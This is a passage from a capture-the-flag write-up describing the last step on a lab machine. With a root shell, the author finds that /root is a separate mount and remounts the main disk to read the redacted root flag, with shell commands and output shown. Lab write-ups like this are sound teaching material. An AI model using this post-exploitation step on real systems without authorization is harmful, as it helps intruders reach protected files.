A far more stable root shell. I went to get the flag
# cd /root
# ls -la
total 23
drwxr-xr-x 7 root root 1024 Dec 3 2019 .
drwxr-xr-x 23 root root 4096 Jan 12 2020 ..
lrwxrwxrwx 1 root root 9 May 22 2019 .bash_history -> /dev/null
drwx------ 2 root root 1024 May 21 2019 .cache
drwx------ 3 root root 1024 May 21 2019 .gnupg
drwxr-xr-x 3 root root 1024 Dec 3 2019 .local
drwx------ 2 root root 12288 May 21 2019 lost+found
drwxr-xr-x 3 root root 1024 May 21 2019 snap
-rw------- 1 root root 1606 May 22 2019 .viminfo
It wasn't there. But I was able to spot something interesting on the file system
# df
Filesystem 1K-blocks Used Available Use% Mounted on
udev 976616 0 976616 0% /dev
tmpfs 201728 10080 191648 5% /run
/dev/sda2 15465340 4306624 10303472 30% /
tmpfs 1008624 0 1008624 0% /dev/shm
tmpfs 5120 0 5120 0% /run/lock
tmpfs 1008624 0 1008624 0% /sys/fs/cgroup
/dev/loop0 55552 55552 0 100% /snap/lxd/10756
/dev/loop1 56192 56192 0 100% /snap/lxd/12631
/dev/loop2 68352 68352 0 100% /snap/lxd/9239
/dev/loop3 91264 91264 0 100% /snap/core/8268
/dev/loop4 91264 91264 0 100% /snap/core/8039
/dev/sda4 1015632 24632 869760 3% /home
/dev/sda3 999320 150760 779748 17% /boot
/dev/sdb1 498514 2331 465924 1% /root
overlay 15465340 4306624 10303472 30% /var/lib/docker/overlay2/ec390271124fa408a543517012e50a6673a586fc7f3b729d58dd4e8e40e57906/merged
shm 65536 0 65536 0% /var/lib/docker/containers/110120fbfb73b13fb67f60cd2bce42dba964944e1205e44d386d4ec67b9f17f1/mounts/shm
Most of the system is mounted from /dev/sda2
, but /root
is on /dev/sdb1
, so I re mounted /dev/sda2
# mkdir /mnt/newroot
# mount /dev/sda2 /mnt/newroot
# cd /mnt/newroot
# ls -la
total 112
drwxr-xr-x 23 root root 4096 Jan 12 2020 .
drwxr-xr-x 3 root root 4096 Dec 22 13:38 ..
drwxr-xr-x 2 root root 4096 Jan 12 2020 bin
drwxr-xr-x 2 root root 4096 Dec 3 2019 boot
drwxr-xr-x 4 root root 4096 Dec 3 2019 dev
drwxr-xr-x 96 root root 4096 Jan 13 2020 etc
drwxr-xr-x 2 root root 4096 Dec 3 2019 home
lrwxrwxrwx 1 root root 33 Jan 12 2020 initrd.img -> boot/initrd.img-4.18.0-25-generic
lrwxrwxrwx 1 root root 33 Jan 12 2020 initrd.img.old -> boot/initrd.img-4.18.0-20-generic
drwxr-xr-x 22 root root 4096 Jan 9 2020 lib
drwxr-xr-x 2 root root 4096 Dec 3 2019 lib64
drwx------ 2 root root 16384 Oct 23 2018 lost+found
drwxr-xr-x 2 root root 4096 Dec 3 2019 media
drwxr-xr-x 3 root root 4096 Dec 22 13:38 mnt
drwxr-xr-x 5 root root 4096 Dec 3 2019 opt
drwxr-xr-x 2 root root 4096 Dec 3 2019 proc
drwx------ 8 root root 4096 Dec 3 2019 root
drwxr-xr-x 10 root root 4096 Dec 3 2019 run
drwxr-xr-x 2 root root 12288 Jan 9 2020 sbin
drwxr-xr-x 5 root root 4096 Dec 3 2019 snap
drwxr-xr-x 2 root root 4096 Dec 3 2019 srv
drwxr-xr-x 2 root root 4096 Dec 3 2019 sys
drwxrwxrwt 11 root root 4096 Dec 22 13:36 tmp
drwxr-xr-x 10 root root 4096 Dec 3 2019 usr
drwxr-xr-x 13 root root 4096 Dec 3 2019 var
lrwxrwxrwx 1 root root 30 Jan 12 2020 vmlinuz -> boot/vmlinuz-4.18.0-25-generic
lrwxrwxrwx 1 root root 30 Jan 12 2020 vmlinuz.old -> boot/vmlinuz-4.18.0-20-generic
# cd root
# ls -la
total 68
drwx------ 8 root root 4096 Dec 3 2019 .
drwxr-xr-x 23 root root 4096 Jan 12 2020 ..
lrwxrwxrwx 1 root root 9 May 20 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Aug 7 2018 .bashrc
drwx------ 2 root root 4096 Dec 3 2019 .cache
drwx------ 3 root root 4096 Dec 3 2019 .gnupg
drwxr-xr-x 3 root root 4096 Dec 3 2019 .local
-rw-r--r-- 1 root root 148 Aug 7 2018 .profile
-r-------- 1 root root 33 May 21 2019 root.txt
drwxr-xr-x 2 root root 4096 Dec 3 2019 secret
drwxr-xr-x 3 root root 4096 Dec 3 2019 snap
drwx------ 2 root root 4096 Dec 3 2019 .ssh
-rw------- 1 root root 18560 May 22 2019 .viminfo
-rw-r--r-- 1 root root 35 May 22 2019 .vimrc
# cat root.txt
[REDACTED]
And I finally had the hard earned root flag